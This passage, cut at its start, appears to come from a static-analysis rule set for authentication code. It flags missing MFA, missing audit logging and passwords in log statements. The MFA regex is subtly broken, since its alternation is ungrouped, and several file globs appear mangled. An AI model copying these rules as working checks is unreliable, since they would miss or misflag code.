- login(?![\s\S]{0,500}mfa|totp|2fa|twoFactor)
Message
No MFA implementation detected. Consider adding TOTP for sensitive apps.
Fix Action
Implement TOTP-based MFA using otplib
Applies To
- /auth//*.ts
- /auth//*.js
No Auth Event Logging
Id
auth-no-audit-log
Severity
info
Type
regex
Pattern
- login(?![\s\S]{0,200}log|audit|track)
Message
Authentication events not logged. Consider audit logging for security.
Fix Action
Log login attempts, failures, password changes, and MFA events
Applies To
- /auth//*.ts
- /auth//*.js
Password in Log Statement
Id
auth-password-in-log
Severity
error
Type
regex
Pattern
- console\.log.*password
- logger\..*password
- log\(.*password
Message
Password may be logged. Never log passwords or credentials.
Fix Action
Remove password from log statement
Applies To
- */.ts
- */.js